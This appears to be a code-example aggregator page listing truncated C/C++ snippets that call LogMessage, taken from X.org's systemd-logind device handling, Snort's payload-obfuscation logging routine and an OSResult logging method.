DBUS_TIMEOUT_USE_DEFAULT, &error);
if (!reply) {
LogMessage(X_ERROR, "systemd-logind: TakeControl failed: %s\n",
error.message);
goto cleanup;
}
dbus_bus_add_match(connection,
"type='signal',sender='org.freedesktop.DBus',interface='org.freedesktop.DBus',member='NameOwnerChanged',path='/org/freedesktop/DBus'",
&error);
if (dbus_error_is_set(&error)) {
LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
error.message);
goto cleanup;
}
dbus_bus_add_match(connection,
"type='signal',sender='org.freedesktop.login1',interface='org.freedesktop.login1.Session',member='PauseDevice'",
&error);
if (dbus_error_is_set(&error)) {
LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
error.message);
goto cleanup;
}
dbus_bus_add_match(connection,
"type='signal',sender='org.freedesktop.login1',interface='org.freedesktop.login1.Session',member='ResumeDevice'",
&error);
if (dbus_error_is_set(&error)) {
LogMessage(X_ERROR, "systemd-logind: could not add match: %s\n",
error.message);
goto cleanup;
}
/*
* HdG: This is not useful with systemd <= 208 since the signal only
* contains invalidated property names there, rather than property, val
//.........这里部分代码省略.........
示例11: systemd_logind_take_fd
int
systemd_logind_take_fd(int _major, int _minor, const char *path,
Bool *paused_ret)
{
struct systemd_logind_info *info = &logind_info;
InputInfoPtr pInfo;
DBusError error;
DBusMessage *msg = NULL;
DBusMessage *reply = NULL;
dbus_int32_t major = _major;
dbus_int32_t minor = _minor;
dbus_bool_t paused;
int fd = -1;
if (!info->session || major == 0)
return -1;
/* logind does not support mouse devs (with evdev we don't need them) */
if (strstr(path, "mouse"))
return -1;
/* Check if we already have an InputInfo entry with this major, minor
* (shared device-nodes happen ie with Wacom tablets). */
pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs, major, minor);
if (pInfo) {
LogMessage(X_INFO, "systemd-logind: returning pre-existing fd for %s %u:%u\n",
path, major, minor);
*paused_ret = FALSE;
return pInfo->fd;
}
dbus_error_init(&error);
msg = dbus_message_new_method_call("org.freedesktop.login1", info->session,
"org.freedesktop.login1.Session", "TakeDevice");
if (!msg) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &major,
DBUS_TYPE_UINT32, &minor,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
reply = dbus_connection_send_with_reply_and_block(info->conn, msg,
DBUS_TIMEOUT_USE_DEFAULT, &error);
if (!reply) {
LogMessage(X_ERROR, "systemd-logind: failed to take device %s: %s\n",
path, error.message);
goto cleanup;
}
if (!dbus_message_get_args(reply, &error,
DBUS_TYPE_UNIX_FD, &fd,
DBUS_TYPE_BOOLEAN, &paused,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: TakeDevice %s: %s\n",
path, error.message);
goto cleanup;
}
*paused_ret = paused;
LogMessage(X_INFO, "systemd-logind: got fd for %s %u:%u fd %d paused %d\n",
path, major, minor, fd, paused);
cleanup:
if (msg)
dbus_message_unref(msg);
if (reply)
dbus_message_unref(reply);
dbus_error_free(&error);
return fd;
}
示例12: message_filter
static DBusHandlerResult
message_filter(DBusConnection * connection, DBusMessage * message, void *data)
{
struct systemd_logind_info *info = data;
struct xf86_platform_device *pdev = NULL;
InputInfoPtr pInfo = NULL;
int ack = 0, pause = 0, fd = -1;
DBusError error;
dbus_int32_t major, minor;
char *pause_str;
if (dbus_message_get_type (message) != DBUS_MESSAGE_TYPE_SIGNAL)
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
dbus_error_init(&error);
if (dbus_message_is_signal(message,
"org.freedesktop.DBus", "NameOwnerChanged")) {
char *name, *old_owner, *new_owner;
dbus_message_get_args(message, &error,
DBUS_TYPE_STRING, &name,
DBUS_TYPE_STRING, &old_owner,
DBUS_TYPE_STRING, &new_owner, DBUS_TYPE_INVALID);
if (dbus_error_is_set(&error)) {
LogMessage(X_ERROR, "systemd-logind: NameOwnerChanged: %s\n",
error.message);
dbus_error_free(&error);
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
if (name && strcmp(name, "org.freedesktop.login1") == 0)
FatalError("systemd-logind disappeared (stopped/restarted?)\n");
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
if (strcmp(dbus_message_get_path(message), info->session) != 0)
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
if (dbus_message_is_signal(message, "org.freedesktop.login1.Session",
"PauseDevice")) {
if (!dbus_message_get_args(message, &error,
DBUS_TYPE_UINT32, &major,
DBUS_TYPE_UINT32, &minor,
DBUS_TYPE_STRING, &pause_str,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: PauseDevice: %s\n",
error.message);
dbus_error_free(&error);
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
if (strcmp(pause_str, "pause") == 0) {
pause = 1;
ack = 1;
}
else if (strcmp(pause_str, "force") == 0) {
pause = 1;
}
else if (strcmp(pause_str, "gone") == 0) {
/* Device removal is handled through udev */
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
else {
LogMessage(X_WARNING, "systemd-logind: unknown pause type: %s\n",
pause_str);
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
}
else if (dbus_message_is_signal(message, "org.freedesktop.login1.Session",
"ResumeDevice")) {
if (!dbus_message_get_args(message, &error,
DBUS_TYPE_UINT32, &major,
DBUS_TYPE_UINT32, &minor,
DBUS_TYPE_UNIX_FD, &fd,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: ResumeDevice: %s\n",
error.message);
dbus_error_free(&error);
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
} else
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
LogMessage(X_INFO, "systemd-logind: got %s for %u:%u\n",
pause ? "pause" : "resume", major, minor);
pdev = xf86_find_platform_device_by_devnum(major, minor);
if (!pdev)
pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs,
major, minor);
if (!pdev && !pInfo) {
LogMessage(X_WARNING, "systemd-logind: could not find dev %u:%u\n",
major, minor);
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
if (pause) {
/* Our VT_PROCESS usage guarantees we've already given up the vt */
//.........这里部分代码省略.........
示例13: systemd_logind_release_fd
void
systemd_logind_release_fd(int _major, int _minor, int fd)
{
struct systemd_logind_info *info = &logind_info;
InputInfoPtr pInfo;
DBusError error;
DBusMessage *msg = NULL;
DBusMessage *reply = NULL;
dbus_int32_t major = _major;
dbus_int32_t minor = _minor;
int matches = 0;
if (!info->session || major == 0)
goto close;
/* Only release the fd if there is only 1 InputInfo left for this major
* and minor, otherwise other InputInfo's are still referencing the fd. */
pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs, major, minor);
while (pInfo) {
matches++;
pInfo = systemd_logind_find_info_ptr_by_devnum(pInfo->next, major, minor);
}
if (matches > 1) {
LogMessage(X_INFO, "systemd-logind: not releasing fd for %u:%u, still in use\n", major, minor);
return;
}
LogMessage(X_INFO, "systemd-logind: releasing fd for %u:%u\n", major, minor);
dbus_error_init(&error);
msg = dbus_message_new_method_call("org.freedesktop.login1", info->session,
"org.freedesktop.login1.Session", "ReleaseDevice");
if (!msg) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &major,
DBUS_TYPE_UINT32, &minor,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
reply = dbus_connection_send_with_reply_and_block(info->conn, msg,
DBUS_TIMEOUT_USE_DEFAULT, &error);
if (!reply)
LogMessage(X_ERROR, "systemd-logind: failed to release device: %s\n",
error.message);
cleanup:
if (msg)
dbus_message_unref(msg);
if (reply)
dbus_message_unref(reply);
dbus_error_free(&error);
close:
if (fd != -1)
close(fd);
}
示例14: TraverseObfuscationList
/*******************************************************************************
* Function: TraverseObfuscationList()
*
* This is the main function for obfuscating a payload or stream segments.
* It walks through a packet and obfuscation entries, calling the user
* callback with obfuscated and non-obfuscated instructions.
*
* Arguments
* ObfuscationCallbackData *data
* The state tracking data structure. Has the packet being obfuscated,
* current obfuscation entry and total number of bytes obfuscated thus
* far.
* DAQ_PktHdr_t *pkth
* The pcap header information associated with the payload being
* obfuscated.
* uint8_t *pkt
* The start of the packet including Ethernet headers, etc.
* uint8_t *payload
* Pointer to the payload data to be obfuscated
* ob_size_t
* The size of the payload data
*
* Returns
* OB_RET_SUCCESS if successfully completed
* OB_RET_ERROR if the user callback doesn't return OB_RET_SUCCESS
*
******************************************************************************/
static ObRet TraverseObfuscationList(ObfuscationCallbackData *data,
const DAQ_PktHdr_t *pkth, const uint8_t *payload_data,
ob_size_t payload_size)
{
int i;
ob_size_t total_offset = data->total_offset;
ob_size_t payload_offset = 0;
const DAQ_PktHdr_t *pkth_tmp = pkth;
#ifdef OBFUSCATION_TEST
uint8_t print_array[OB_LENGTH_MAX];
ob_size_t start_total_offset = 0;
ob_size_t start_payload_offset = 0;
#endif
if ((payload_data == NULL) || (payload_size == 0))
return OB_RET_ERROR;
#ifdef OBFUSCATION_TEST
LogMessage("Payload data: %u bytes\n", payload_size);
LogMessage("==============================================================="
"=================\n");
#endif
/* Start from current saved obfuscation entry index */
for (i = data->entry_index; i < ob_struct.num_entries; i++)
{
/* Get the entry from the sorted array */
const ObfuscationEntry *entry = ob_struct.sort_entries[i];
ob_size_t ob_offset = entry->offset;
ob_size_t ob_length = entry->length;
/* Make sure it's for the right packet */
if (entry->p != data->packet)
{
#ifdef OBFUSCATION_TEST
LogMessage("flags1: %08x, flags2: %08x\n", entry->p->packet_flags, data->packet->packet_flags);
#endif
continue;
}
/* We've already obfuscated this part of the packet payload
* Account for overflow */
if (((ob_offset + ob_length) <= total_offset)
&& ((ob_offset + ob_length) > ob_offset))
{
continue;
}
#ifdef OBFUSCATION_TEST
LogMessage(" Total offset: %u\n\n", total_offset);
start_total_offset = total_offset;
start_payload_offset = payload_offset;
#endif
/* Note the obfuscation offset is only used at this point to determine
* the amount of data that does not need to be obfuscated up to the
* offset or the length of what needs to be obfuscated if the offset
* is less than what's already been logged */
if (ob_offset > total_offset)
{
/* Get the amount of non-obfuscated data - need to log straight
* packet data up to obfuscation offset */
ob_size_t length = ob_offset - total_offset;
/* If there is more length than what's left in the packet,
* truncate it, do we don't overflow */
if (length > (payload_size - payload_offset))
length = payload_size - payload_offset;
/* Call the user callback and tell it not to obfuscate the data
* by passing in a non-NULL packet pointer */
if (data->user_callback(pkth_tmp, payload_data + payload_offset,
//.........这里部分代码省略.........
示例15: addInfo
void OSResult::addInfo(const std::string& channel, const std::string& message) {
m_info.push_back(LogMessage(Info,channel,message));
}